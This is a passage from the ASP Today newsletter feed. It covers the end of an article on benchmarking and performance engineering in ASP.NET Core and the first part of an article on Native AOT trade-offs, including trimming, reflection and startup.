p99    2400 ms</code></code></pre><p>CPU is only:</p><pre><code><code>45%</code></code></pre><p>So raw computation probably is not the main bottleneck.</p><p>Tracing shows many slow requests waiting for database connections.</p><p>Database metrics show the pool frequently reaching its limit.</p><p>Further investigation reveals that one endpoint performs several sequential queries per request.</p><p>We rewrite the data-access pattern to reduce unnecessary round trips.</p><p>Run the same load test again.</p><p>Suppose p95 falls substantially and connection waits disappear.</p><p>Now we have evidence.</p><p>Not:</p><blockquote><p>The new code looks cleaner.</p></blockquote><p>But:</p><blockquote><p>We identified a resource bottleneck, changed the behavior causing it, and measured the improvement under the same workload.</p></blockquote><p>That is performance engineering.</p><h2>Do Not Optimize Away Readability for Tiny Wins</h2><p>BenchmarkDotNet can tempt developers into competitions over nanoseconds.</p><p>Suppose:</p><pre><code><code>Readable version      95 ns
Complex version       89 ns</code></code></pre><p>The second implementation is 6 nanoseconds faster.</p><p>But the method runs:</p><pre><code><code>20 times per request</code></code></pre><p>and requests take:</p><pre><code><code>200 ms</code></code></pre><p>That optimization is almost certainly meaningless.</p><p>Performance work must still respect:</p><pre><code><code>Maintainability
Correctness
Security
Reliability
Developer productivity</code></code></pre><p>The fastest code is useless if nobody can safely change it.</p><h2>Benchmarking Native AOT Properly</h2><p>Suppose we want to determine whether Native AOT helps our service.</p><p>Do not benchmark only one number.</p><p>Compare:</p><pre><code><code>JIT deployment
vs
Native AOT</code></code></pre><p>across:</p><pre><code><code>Publish size
Container size
Process startup
Time to readiness
Idle memory
Memory under load
Throughput
p50 latency
p95 latency
p99 latency
CPU
Build time</code></code></pre><p>Native AOT may win dramatically in some categories and show little difference in others.</p><p>That is not a contradiction.</p><p>It is precisely why we benchmark.</p><h2>Benchmarking High-Performance I/O</h2><p>The same principle applies to our earlier I/O work.</p><p>Suppose we replace:</p><pre><code><code>Read entire body
     &#8595;
Create string
     &#8595;
Parse</code></code></pre><p>with:</p><pre><code><code>Stream
   &#8595;
Parse incrementally</code></code></pre><p>The most interesting result may not be raw execution speed.</p><p>Perhaps:</p><pre><code><code>Latency changes slightly</code></code></pre><p>but:</p><pre><code><code>Peak memory drops dramatically
GC frequency decreases
Throughput under concurrency improves</code></code></pre><p>A narrow benchmark could miss the actual benefit.</p><p>Choose measurements that match the optimization.</p><h2>Benchmarking Memory Improvements</h2><p>Suppose we introduce <code>ArrayPool&lt;T&gt;</code>.</p><p>A microbenchmark can measure:</p><pre><code><code>Execution time
Allocated bytes
GC collections</code></code></pre><p>But then run a realistic concurrent workload.</p><p>Why?</p><p>Because pooling is often valuable when repeated allocation pressure compounds across many requests.</p><p>An isolated benchmark tells us whether the operation allocates less.</p><p>A load test tells us whether that changes application behavior.</p><p>Both are useful.</p><h2>Performance Is Multidimensional</h2><p>A common mistake is searching for one universal score.</p><p>There isn&#8217;t one.</p><p>Performance includes:</p><pre><code><code>Latency
Throughput
Startup
Memory
CPU
Allocation rate
Container size
Scalability
Recovery
Cost</code></code></pre><p>Improving one can hurt another.</p><p>Compression may:</p><pre><code><code>Reduce network bytes
Increase CPU</code></code></pre><p>Caching may:</p><pre><code><code>Reduce database latency
Increase memory</code></code></pre><p>Pooling may:</p><pre><code><code>Reduce allocations
Increase retained memory</code></code></pre><p>Higher concurrency may:</p><pre><code><code>Increase throughput
Increase contention</code></code></pre><p>Performance decisions are trade-offs.</p><h2>Define a Performance Budget</h2><p>Instead of saying:</p><blockquote><p>Make checkout fast.</p></blockquote><p>Define:</p><pre><code><code>p50 latency       &lt; 150 ms
p95 latency       &lt; 300 ms
p99 latency       &lt; 750 ms
error rate        &lt; 0.1%
memory            &lt; 1 GB per instance
CPU               &lt; 75% at target load
throughput        &#8805; 2,000 req/s</code></code></pre><p>Again, those are illustrative values.</p><p>Your business requirements should determine the real ones.</p><p>Now the team has a target.</p><p>Performance becomes testable.</p><h2>A Useful Testing Pyramid for Performance</h2><p>Think of performance testing at several levels:</p><pre><code><code>              Production
                 &#9650;
             Stress/Soak
                 &#9650;
              Load Test
                 &#9650;
              Profiling
                 &#9650;
           Microbenchmark</code></code></pre><p>At the bottom, BenchmarkDotNet gives precise measurements of small operations.</p><p>Moving upward introduces more of the real system.</p><p>By the time we reach production, realism is highest but experimental control is lowest.</p><p>No single layer replaces the others.</p><h2>The Best Performance Workflow</h2><p>A practical workflow looks like this.</p><p><strong>First, define the requirement.</strong></p><p>What must the system achieve?</p><p><strong>Second, establish a baseline.</strong></p><p>Record current performance.</p><p><strong>Third, reproduce the workload.</strong></p><p>Use representative traffic and data.</p><p><strong>Fourth, observe the complete system.</strong></p><p>Measure latency, throughput, errors, CPU, memory, GC, queues, databases, and dependencies.</p><p><strong>Fifth, identify the limiting resource.</strong></p><p>Do not guess.</p><p><strong>Sixth, profile the relevant component.</strong></p><p>Find the expensive path.</p><p><strong>Seventh, isolate code where useful.</strong></p><p>Use BenchmarkDotNet for focused comparisons.</p><p><strong>Eighth, change one meaningful thing.</strong></p><p>Keep the experiment understandable.</p><p><strong>Ninth, rerun the same test.</strong></p><p>Compare against the baseline.</p><p><strong>Tenth, verify production behavior.</strong></p><p>Make sure the laboratory improvement survives reality.</p><p>That workflow is far more valuable than memorizing a collection of &#8220;fast&#8221; coding tricks.</p><h2>Common Benchmarking Mistakes</h2><p>The most common mistakes are surprisingly consistent.</p><p><strong>Benchmarking Debug builds.</strong> Measure optimized production-style builds.</p><p><strong>Using a stopwatch for tiny operations.</strong> A proper benchmarking harness handles many sources of measurement error.</p><p><strong>Looking only at averages.</strong> Tail latency matters.</p><p><strong>Ignoring errors.</strong> Failed requests can make throughput look artificially impressive.</p><p><strong>Testing unrealistic endpoints.</strong> Your health endpoint is not your production workload.</p><p><strong>Using tiny databases.</strong> Data scale changes query behavior.</p><p><strong>Ignoring warm-up.</strong> Cold and steady-state tests answer different questions.</p><p><strong>Optimizing before profiling.</strong> Interesting code is not necessarily hot code.</p><p><strong>Ignoring the load generator.</strong> Your client can become the bottleneck.</p><p><strong>Changing several variables simultaneously.</strong> You lose causality.</p><p><strong>Treating microbenchmarks as application benchmarks.</strong> A fast method does not guarantee a scalable service.</p><p><strong>Ignoring production telemetry.</strong> Synthetic tests cannot reproduce every real-world condition.</p><h2>Finding the Real Bottleneck Changes Everything</h2><p>There is a powerful moment in performance work when the problem becomes specific.</p><p>Instead of:</p><blockquote><p>Our API is slow.</p></blockquote><p>we discover:</p><blockquote><p>p99 latency rises after 1,800 requests per second because database connection waits increase sharply.</p></blockquote><p>Or:</p><blockquote><p>Throughput stops scaling because CPU is dominated by serialization.</p></blockquote><p>Or:</p><blockquote><p>Latency spikes correlate with Gen 2 garbage collections caused by repeated large-buffer allocation.</p></blockquote><p>Or:</p><blockquote><p>Requests pile up because synchronous blocking is starving the Thread Pool.</p></blockquote><p>Those statements can be acted upon.</p><p>&#8220;Slow&#8221; cannot.</p><p>This is the real purpose of benchmarking.</p><p>Not generating impressive charts.</p><p>Not winning nanosecond competitions.</p><p><strong>Turning vague performance complaints into measurable engineering problems.</strong></p><h2>Coming Next</h2><p>In the next article, we&#8217;ll explore <strong>Contract-First API Development in ASP.NET Core: OpenAPI, Client Generation, and Schema Governance</strong>.</p><p>That may seem like a shift away from performance, but it continues the same broader theme: making production systems predictable.</p><p>Instead of allowing an API contract to emerge accidentally from implementation code, contract-first development treats the API schema as an explicit engineering artifact.</p><p>We&#8217;ll examine OpenAPI contracts, generated clients, breaking-change detection, schema governance, versioning decisions, and how teams keep API producers and consumers synchronized as systems grow.</p><h2>Closing Thoughts</h2><p>Performance optimization is seductive because changing code feels productive.</p><p>Measurement sometimes feels slower.</p><p>But measurement is what prevents us from spending days solving the wrong problem.</p><p>BenchmarkDotNet can tell us whether one small implementation is faster, more stable, or less allocation-heavy than another.</p><p>Profilers can tell us where the application spends CPU time.</p><p>Load tests can show how the complete system behaves under realistic concurrency.</p><p>Stress tests can reveal the point where the system stops coping.</p><p>Soak tests can expose problems that emerge slowly.</p><p>Production telemetry tells us whether any of those laboratory conclusions survive contact with real users.</p><p>Together, these tools give us a much more reliable picture of application performance than any single benchmark number.</p><p>The mature performance question is therefore not:</p><blockquote><p>How can we make this code faster?</p></blockquote><p>It is:</p><blockquote><p><strong>What is limiting the system right now, how do we prove it, and what measurement will prove that our change actually fixed it?</strong></p></blockquote><p>Once you can answer those questions, performance optimization stops being guesswork.</p><p>It becomes engineering.</p><h2>Subscribe Now</h2><p>Enjoying the series? Subscribe to <em><a href="https://www.asptoday.com/">ASP Today</a></em> for practical ASP.NET Core tutorials, production architecture deep dives, and evidence-based .NET performance strategies. Join our Substack Chat to discuss BenchmarkDotNet, load testing, profiling, bottleneck analysis, Native AOT, memory optimization, and the techniques that help ASP.NET Core applications perform reliably under real-world traffic. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Native AOT in ASP.NET Core: Faster Startup, Smaller Containers, and the Trade-Offs]]></title><description><![CDATA[Explore faster startup, smaller containers, and Native AOT trade-offs in ASP.NET Core. #ASPToday #aspnetcore #dotnet #nativeaot]]></description><link>https://www.asptoday.com/p/native-aot-in-aspnet-core-faster</link><guid isPermaLink="false">https://www.asptoday.com/p/native-aot-in-aspnet-core-faster</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 29 Sep 2026 15:03:53 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!3HyO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core applications</a> normally rely on the .NET runtime to compile parts of their code as the application runs. Native AOT changes that model. Instead of depending on Just-in-Time compilation at runtime, Native Ahead-of-Time compilation turns application code into native machine code during publishing.  </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3HyO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3HyO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3HyO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2475427,&quot;alt&quot;:&quot;Rocket launches from a prepared platform, symbolizing Native AOT's fast startup and lean deployment. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/217947947?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Rocket launches from a prepared platform, symbolizing Native AOT's fast startup and lean deployment. " title="Rocket launches from a prepared platform, symbolizing Native AOT's fast startup and lean deployment. " srcset="https://substackcdn.com/image/fetch/$s_!3HyO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!3HyO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb5d65b50-aa9a-444b-a866-db6f056420d6_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The result can start faster, require less memory, and produce a smaller deployment footprint. Those advantages are especially attractive for containers, microservices, command-line tools, and workloads that start and stop frequently. But Native AOT is not a free performance switch. Trimming, reflection, runtime code generation, serialization, NuGet dependencies, diagnostics, and ASP.NET Core feature compatibility all become part of the decision. The real question is therefore not whether Native AOT is faster. It is whether your particular application fits the Native AOT execution model. </p><h2>What Actually Happens When an ASP.NET Core Application Starts?</h2><p>Before understanding Native AOT, it helps to understand the normal .NET execution model.</p><p>C# source code is usually compiled into Intermediate Language, or IL.</p><p>Conceptually:</p><pre><code><code>C# source
    &#8595;
Compiler
    &#8595;
Intermediate Language
    &#8595;
Application starts
    &#8595;
JIT compilation
    &#8595;
Native machine code
    &#8595;
CPU executes it</code></code></pre><p>The Just-in-Time compiler converts code into machine instructions appropriate for the current environment as the application executes.</p><p>This model has served .NET extremely well.</p><p>It allows the runtime to make decisions using information available on the actual machine executing the application.</p><p>But there is a cost.</p><p>Some compilation happens while the application is running.</p><p>For a long-lived application that runs for weeks, that startup work may be relatively unimportant.</p><p>For a small container that starts constantly, it may matter much more.</p><h2>Native AOT Moves Compilation Earlier</h2><p>Native AOT changes where that work happens.</p><p>Instead of waiting until runtime:</p><pre><code><code>Publish
   &#8595;
IL + AOT compiler
   &#8595;
Native executable
   &#8595;
Deploy
   &#8595;
Start immediately as native code</code></code></pre><p>Microsoft describes Native AOT applications as self-contained applications compiled ahead of time into native code. They do not use a JIT compiler when the published application runs. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That difference sounds small.</p><p>Architecturally, it is significant.</p><p>We are moving work from:</p><pre><code><code>Application runtime</code></code></pre><p>to:</p><pre><code><code>Build and publishing time</code></code></pre><p>This creates the central trade-off of Native AOT.</p><p><strong>We do more work and make more decisions before deployment so that less work has to happen after the process starts.</strong></p><h2>Why ASP.NET Core Developers Care About Startup Time</h2><p>Imagine a traditional application running on one server.</p><p>It starts Monday morning and stays alive for three months.</p><p>Suppose startup takes:</p><pre><code><code>1.5 seconds</code></code></pre><p>Reducing that to:</p><pre><code><code>200 milliseconds</code></code></pre><p>might be technically impressive but operationally irrelevant.</p><p>Now imagine a containerized service where instances are repeatedly created because of:</p><pre><code><code>Autoscaling
Rolling deployments
Scale-to-zero architectures
Short-lived workers
Rapid failover
Development environments
Test infrastructure</code></code></pre><p>Startup suddenly matters much more.</p><p>Suppose traffic increases quickly.</p><p>The orchestrator launches 20 additional instances.</p><p>If those instances become ready sooner, the system can begin absorbing traffic sooner.</p><p>This complements the deployment practices we covered in <em><a href="https://www.asptoday.com/p/graceful-shutdown-and-application">Graceful Shutdown and Application Lifecycle in ASP.NET Core: Deploy Without Dropping Work</a></em>. Graceful shutdown helps an existing instance leave safely, while faster startup helps its replacement become ready sooner. </p><p>Microsoft specifically lists reduced startup time as one of Native AOT&#8217;s ASP.NET Core benefits and notes that quicker startup can improve transitions managed by container orchestrators. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>This connects directly to our earlier discussion of <strong>Graceful Shutdown and Application Lifecycle in ASP.NET Core</strong>.</p><p>Containers need to leave safely.</p><p>Native AOT can help their replacements arrive quickly.</p><h2>Smaller Containers Matter Too</h2><p>Native AOT also changes deployment size.</p><p>A Native AOT application is self-contained and includes what it needs to execute. During Native AOT publishing, unused code can be trimmed away, and the resulting application contains the required native code rather than relying on a JIT-based runtime deployment model. Microsoft highlights minimized disk footprint and smaller container images among the benefits for ASP.NET Core workloads. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>Why does a smaller container matter?</p><p>Consider a deployment across hundreds of nodes.</p><p>Each node may need to:</p><pre><code><code>Pull image
     &#8595;
Extract layers
     &#8595;
Create container
     &#8595;
Start process
     &#8595;
Pass readiness checks</code></code></pre><p>Reducing image size can help with:</p><pre><code><code>Registry transfers
Image pulls
Deployment speed
Storage usage
Cold starts</code></code></pre><p>Again, the value multiplies with deployment scale.</p><p>A 50 MB improvement may not matter on one development laptop.</p><p>Across thousands of image pulls, it becomes a different calculation.</p><h2>Lower Memory Demand Can Increase Density</h2><p>In our previous guide to <em>Memory Management in ASP.NET Core</em><strong>, </strong></p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;6a616d29-82bf-48f6-b7f8-0856c59a97e1&quot;,&quot;caption&quot;:&quot;An ASP.NET Core application can have plenty of available CPU, a healthy database, and fast network connections yet still become slow under load because of memory. Every request creates objects, strings, arrays, JSON buffers, collections, and temporary data. Most disappear quickly, which is exactly what .NET&#8217;s garbage collector is designed to handle. Pro&#8230;&quot;,&quot;cta&quot;:null,&quot;showBylines&quot;:true,&quot;showDescription&quot;:true,&quot;showImage&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Memory Management in ASP.NET Core: GC, Allocations, LOH, and Object Pooling &quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:262362149,&quot;name&quot;:&quot;Jenny Muralidharan&quot;,&quot;bio&quot;:&quot;A life long learner, mountain lover and a tech enthusiast. &quot;,&quot;photo_url&quot;:&quot;https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F761d6747-6757-4175-be30-aa23b8c54bbd_96x96.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2026-09-15T15:02:07.639Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!56aB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07b71f5-d991-4cc3-aaff-8f7a792e2db1_1672x941.png&quot;,&quot;cover_image_alt&quot;:null,&quot;cover_image_crop&quot;:null,&quot;canonical_url&quot;:&quot;https://www.asptoday.com/p/memory-management-in-aspnet-core&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:215666406,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:0,&quot;comment_count&quot;:0,&quot;publication_id&quot;:2950429,&quot;publication_name&quot;:&quot;ASP Today&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!LonC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa58c47c8-e39c-48e4-826a-d05e9ca9d537_509x509.jpeg&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p>we explored how allocation pressure, garbage collection, and retained memory affect the performance and efficiency of a running application.</p><p>Microsoft also identifies reduced memory demand as a potential Native AOT advantage, depending on the workload. Lower memory consumption can allow more application instances to run on the same infrastructure. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>Suppose a node has:</p><pre><code><code>16 GB available</code></code></pre><p>If each application instance requires:</p><pre><code><code>400 MB</code></code></pre><p>you have one deployment density.</p><p>If architectural and runtime improvements reduce that substantially, you may be able to run more instances on the same infrastructure.</p><p>That does not automatically mean:</p><pre><code><code>Native AOT = cheap cloud bill</code></code></pre><p>Real applications have:</p><pre><code><code>Caches
Database clients
Buffers
Queues
Request data
Business objects
Telemetry</code></code></pre><p>Native AOT does not make those disappear.</p><p>But runtime overhead matters, particularly for many small services.</p><p>This is another reason our previous articles on <em>Memory Management and <a href="https://www.asptoday.com/p/high-performance-io-in-aspnet-core">High-Performance I/O</a></em> naturally lead into Native AOT.</p><h2>Your First Native AOT ASP.NET Core Application</h2><p>ASP.NET Core provides a Native AOT Web API project template.</p><p>You can create one with:</p><pre><code><code>dotnet new webapiaot -n FastApi</code></code></pre><p>The template is deliberately lean.</p><p>Microsoft&#8217;s Native AOT template uses Minimal APIs and <code>CreateSlimBuilder()</code> to reduce the features included by default and therefore reduce deployment size. <a href="https://learn.microsoft.com/en-us/aspnet/core/fundamentals/native-aot?view=aspnetcore-10.0&amp;utm_source">Microsoft Learn</a></p><p>A minimal application might look like:</p><pre><code><code>var builder =
    WebApplication.CreateSlimBuilder(args);

var app = builder.Build();

app.MapGet(
    "/",
    () =&gt; new
    {
        Message = "Hello from Native AOT"
    });

app.Run();</code></code></pre><p>The important line is:</p><pre><code><code>WebApplication.CreateSlimBuilder(args);</code></code></pre><p>rather than the familiar:</p><pre><code><code>WebApplication.CreateBuilder(args);</code></code></pre><p>That choice is intentional.</p><h2>Why CreateSlimBuilder Exists</h2><p>A normal ASP.NET Core application includes a broad set of conveniences.</p><p>That is useful because most applications prefer productive defaults.</p><p>Native AOT encourages us to think differently:</p><p><strong>What does this application actually need?</strong></p><p><code>CreateSlimBuilder()</code> starts with a smaller feature set while retaining important functionality such as JSON configuration, user secrets, console logging, and logging configuration. Some features available through the standard builder aren&#8217;t included by the slim builder. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>This reflects a broader Native AOT philosophy.</p><p>Instead of:</p><pre><code><code>Include broad runtime capability
and discover what we need later</code></code></pre><p>we increasingly move toward:</p><pre><code><code>Know what we need
during build and publish</code></code></pre><p>That difference becomes particularly important when trimming enters the picture.</p><h2>Enabling Native AOT</h2><p>Native AOT publishing is enabled using the <code>PublishAot</code> property.</p><p>For example:</p><pre><code><code>&lt;PropertyGroup&gt;
    &lt;TargetFramework&gt;net10.0&lt;/TargetFramework&gt;
    &lt;PublishAot&gt;true&lt;/PublishAot&gt;
&lt;/PropertyGroup&gt;</code></code></pre><p>Microsoft documents <code>PublishAot</code> as the property that enables Native AOT during publishing and activates analysis for dynamic-code usage. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>You can then publish for a specific runtime.</p><p>For example:</p><pre><code><code>dotnet publish -c Release -r linux-x64</code></code></pre><p>The runtime identifier matters because we are creating native code for a particular target.</p><p>That is another conceptual change.</p><p>Traditional IL is highly portable.</p><p>Native machine code is inherently more closely tied to its target platform and architecture.</p><h2>Development Still Feels Familiar</h2><p>One subtle point is worth emphasizing.</p><p>Setting:</p><pre><code><code>&lt;PublishAot&gt;true&lt;/PublishAot&gt;</code></code></pre><p>does not mean every local development run becomes a full Native AOT compilation.</p><p>Microsoft notes that projects configured for Native AOT still use JIT compilation when run normally during development. Native AOT compilation happens during publishing. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That keeps the normal development loop practical.</p><p>You can still:</p><pre><code><code>Edit
Run
Debug
Edit
Run</code></code></pre><p>without waiting for a Native AOT publish every time.</p><p>But that creates an important responsibility.</p><h2>Test the Published AOT Application</h2><p>Your development build is not the final execution environment.</p><p>An application may work perfectly under the normal JIT model and expose problems after trimming and AOT compilation.</p><p>That means this is insufficient:</p><pre><code><code>dotnet run
     &#8595;
Everything works
     &#8595;
Ship it</code></code></pre><p>Instead:</p><pre><code><code>Develop normally
     &#8595;
Publish Native AOT
     &#8595;
Run published executable
     &#8595;
Execute integration tests
     &#8595;
Exercise real features
     &#8595;
Inspect AOT warnings</code></code></pre><p>Microsoft recommends testing the AOT-published application and correcting AOT warnings. The publish process analyzes both application code and dependencies for compatibility issues. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>Native AOT compatibility should therefore be part of the development lifecycle, not something discovered the night before production deployment.</p><h2>Trimming Is Central to the Story</h2><p>Suppose an application references a library containing:</p><pre><code><code>10,000 methods</code></code></pre><p>but actually uses:</p><pre><code><code>300 methods</code></code></pre><p>Why ship everything?</p><p>Trimming analyzes the application and attempts to remove code that is not needed.</p><p>That helps reduce the final footprint.</p><p>But now imagine code that does this:</p><pre><code><code>var type =
    Type.GetType(typeName);

var instance =
    Activator.CreateInstance(type!);</code></code></pre><p>From static analysis alone, which type will be required at runtime?</p><p>The answer might depend on:</p><pre><code><code>Configuration
User input
Plugin discovery
Database contents
External metadata</code></code></pre><p>Now trimming becomes harder.</p><p>Code that appears unused during publishing might actually be expected dynamically at runtime.</p><p>This is one of the fundamental tensions between Native AOT and highly dynamic application architectures.</p><h2>Reflection Is Not Simply &#8220;Forbidden&#8221;</h2><p>Native AOT discussions sometimes get reduced to:</p><pre><code><code>Reflection does not work.</code></code></pre><p>That is too simplistic.</p><p>The real problem is <strong>unbounded dynamic behavior that cannot be determined during compilation</strong>.</p><p>Native AOT publishing trims unused code, so runtime patterns that dynamically discover types or members can become problematic unless the required metadata and code are known and preserved. Microsoft recommends source generators and AOT-compatible patterns rather than relying on unbounded runtime reflection. <a href="https://learn.microsoft.com/aspnet/core/fundamentals/native-aot?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That distinction matters.</p><p>You do not need to panic every time you see:</p><pre><code><code>typeof(Customer)</code></code></pre><p>The question is whether the compiler and trimming analysis can understand what runtime code must remain available.</p><h2>Runtime Code Generation Is a Bigger Problem</h2><p>Some libraries dynamically generate code while the application runs.</p><p>For example, they may rely on:</p><pre><code><code>Reflection.Emit
Dynamic assemblies
Runtime proxy generation
Dynamic loading</code></code></pre><p>Native AOT does not support runtime code generation through mechanisms such as <code>System.Reflection.Emit</code>, and dynamic assembly-loading scenarios are also restricted. <a href="https://learn.microsoft.com/en-us/dotnet/core/deploying/native-aot/?utm_source=chatgpt.com">Microsoft Learn</a></p><p>That has consequences for framework and library design.</p><p>A library built around:</p><pre><code><code>Discover types
     &#8595;
Generate implementation at runtime
     &#8595;
Compile dynamically
     &#8595;
